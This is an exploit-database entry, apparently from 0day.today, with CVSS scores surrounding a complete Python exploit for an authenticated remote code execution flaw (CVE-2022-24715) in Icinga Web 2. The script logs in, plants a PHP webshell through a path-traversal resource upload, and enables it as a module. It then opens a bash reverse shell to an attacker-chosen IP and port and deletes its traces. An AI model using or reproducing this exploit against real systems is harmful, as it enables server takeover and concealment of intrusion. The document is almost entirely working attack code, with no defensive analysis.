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zdtDante Corona1337DAY-ID-38867
HistoryJul 15, 2023 - 12:00 a.m.

Icinga Web 2.10 - Authenticated Remote Code Execution Exploit

2023-07-1500:00:00
Dante Corona
0day.today
49

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:S/C:P/I:P/A:P

0.003 Low

EPSS

Percentile

68.9%

#!/usr/bin/env python3

# Exploit Title: Icinga Web 2.10 - Authenticated Remote Code Execution 
# Exploit Author: Dante Corona(Aka. cxdxnt)
# Software Link: https://github.com/Icinga/icingaweb2
# Vendor Homepage: https://icinga.com/
# Software Link: https://github.com/Icinga/icingaweb2
# Version: <2.8.6, <2.9.6, <2.10
# Tested on: Icinga Web 2 Version 2.9.2 on Linux
# CVE: CVE-2022-24715
# Based on: https://nvd.nist.gov/vuln/detail/CVE-2022-24715

import requests,argparse,re,random,string
from colorama import Fore,Style

def letter_random():
    letras = string.ascii_lowercase
    character_random = random.choices(letras, k=6)
    return ''.join(character_random)


def users_url_password():
    parser = argparse.ArgumentParser(description='Descripciรณn de tu programa.')
    parser.add_argument('-u', '--url',type=str,required=True, help='Insertar la URL http://ip_victima')
    parser.add_argument('-U', '--user',type=str, required=True ,help='Insertar usuario -U user')
    parser.add_argument('-P', '--password',type=str, required=True ,help='Insertar contraseรฑa -P password')
    parser.add_argument('-i', '--ip',type=str,required=True,help='Insertar IP de atacante -i IP')
    parser.add_argument('-p','--port',type=str, required=True,help='Insertar puerto de atacante -p PORT')
    args = parser.parse_args()
    url = args.url
    user = args.user
    password=args.password
    ip_attack = args.ip 
    port_attack = args.port

    return url,user,password,ip_attack,port_attack

def login(url,user,password):
    try:
        login_url = url + "/icingaweb2/authentication/login"
        session = requests.Session()
        r = session.get(login_url)
        csrf_regex = re.findall(r'name="CSRFToken" value="([^"]*)"',r.text)[0]
        data_post = {"username":user,
                    "password":password,
                    "CSRFToken":csrf_regex,
                    "formUID":"form_login",
                    "btn_submit":"Login"
                    }
        response = session.post(login_url,data=data_post)
        if "Welcome to Icinga Web!" in response.text:
            print(f"{Fore.GREEN}[*]{Style.RESET_ALL}Session successfully.")
            r = session.get(login_url)
        else:
            print("[!]Failed to login.")
            exit(1)
        #return session,csrf_regex   
    except requests.exceptions.InvalidURL:
        print(f"{Fore.YELLOW}[!]{Style.RESET_ALL} Error URL :(")
        exit(1)
    return session,csrf_regex

def upload_file(session,url,character_random,csrf_regex):
    webshell = f"""-----BEGIN RSA PRIVATE KEY-----
MIIBOgIBAAJBAKj34GkxFhD90vcNLYLInFEX6Ppy1tPf9Cnzj4p4WGeKLs1Pt8Qu
KUpRKfFLfRYC9AIKjbJTWit+CqvjWYzvQwECAwEAAQJAIJLixBy2qpFoS4DSmoEm
o3qGy0t6z09AIJtH+5OeRV1be+N4cDYJKffGzDa88vQENZiRm0GRq6a+HPGQMd2k
TQIhAKMSvzIBnni7ot/OSie2TmJLY4SwTQAevXysE2RbFDYdAiEBCUEaRQnMnbp7
9mxDXDf6AU0cN/RPBjb9qSHDcWZHGzUCIG2Es59z8ugGrDY+pxLQnwfotadxd+Uy
v/Ow5T0q5gIJAiEAyS4RaI9YG8EWx/2w0T67ZUVAw8eOMB6BIUg0Xcu+3okCIBOs
/5OiPgoTdSy7bcF9IGpSE8ZgGKzgYQVZeN97YE00
-----END RSA PRIVATE KEY-----
<?php system($_REQUEST["%s"]);?>
"""%character_random
    upload_url = url + "/icingaweb2/config/createresource"
    r = session.get(upload_url)
    csrf = re.findall(r'name="CSRFToken" value="([^"]*)"',r.text)[0]
    data_post ={"type":"ssh",
                "name":"shm/"+character_random,
                "user":f"../../../../../../../../../../../dev/shm/{character_random}/run.php",
                "private_key":webshell,
                "formUID":"form_config_resource",
                "CSRFToken":csrf,
                "btn_submit":"Save Changes"
                }
    upload_response = session.post(upload_url,data=data_post)
    check = requests.get(url + f"/icingaweb2/lib/icinga/icinga-php-thirdparty/dev/shm/{character_random}/run.php")
    if check.status_code != 200 :
        print(f"{Fore.YELLOW}[!]{Style.RESET_ALL}Error uploading file. :(")
        exit(1)
    else:
        print(f"{Fore.GREEN}[*]{Style.RESET_ALL}File uploaded successfully.")
    
def enable_module(session,url,character_random):
    url_module = url+"/icingaweb2/config/general"
    r_module = session.get(url_module)
    csrf_module = re.findall(r'name="CSRFToken" value="([^"]*)"',r_module.text)[0]
    data_post = {"global_show_stacktraces":"0",
                 "global_show_stacktraces":"1",
                 "global_show_application_state_messages":"0",
                 "global_show_application_state_messages":"1",
                 "global_module_path":"/dev/shm/",
                 "global_config_resource":"icingaweb2",
                 "logging_log":"none",
                 "themes_default":"Icinga",
                 "themes_disabled":"0",
                 "authentication_default_domain":"",
                 "formUID":"form_config_general",
                 "CSRFToken":f"{csrf_module}",
                 "btn_submit":"Save Changes"
                 }
                 
    resul = session.post(url_module,data_post)
    #--------------------------------------------------
    url_enable = url +"/icingaweb2/config/moduleenable"
    r_enable = session.get(url_enable)
    csrf_enable = re.findall(r'name="CSRFToken" value="([^"]*)"',r_enable.text)[0]
    data_enable = {"identifier":f"{character_random}","CSRFToken":f"{csrf_enable}","btn_submit":"btn_submit"}
    resul_enable = session.post(url_enable,data_enable)


def reverse_shell(session,url,ip_attack,port_attack,character_random):
    reverse_url = url + "/icingaweb2/dashboard"
    reverse_exe_one = reverse_url + f'?{character_random}=echo+"bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{ip_attack}%2F{port_attack}%200%3E%261"+>+/tmp/{character_random}'
    reverse_exe_two = reverse_url + f"?{character_random}=bash+/tmp/{character_random} &"
    reverse_response_one = session.get(reverse_exe_one)
    try:
        reverse_response_two = session.get(reverse_exe_two, timeout=5)
    except:
        print(f"{Fore.RED}[*]{Style.RESET_ALL}Eliminating evidence")
        
    remove = session.get(reverse_url + f"?{character_random}=rm+/tmp/{character_random}")
    disable_url = url + "/icingaweb2/config/moduledisable"
    r_disable = session.get(disable_url)
    csrf_disable = re.findall(r'name="CSRFToken" value="([^"]*)"',r_disable.text)[0]
    data_disable = {"identifier":f"{character_random}","CSRFToken":csrf_disable,"btn_submit":"btn_submit"}
    response_disable = session.post(disable_url,data=data_disable)



def disable_module(session,url,character_random):
    url_disable = url + "/icingaweb2/config/moduledisable"



if __name__ == '__main__':
    character_random = letter_random()
    url,user,password,ip_attack,port_attack = users_url_password()
    session,csrf_regex = login(url,user,password) 
    upload_file(session,url,character_random,csrf_regex)
    enable_module(session,url,character_random)
    reverse_shell(session,url,ip_attack,port_attack,character_random)

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:S/C:P/I:P/A:P

0.003 Low

EPSS

Percentile

68.9%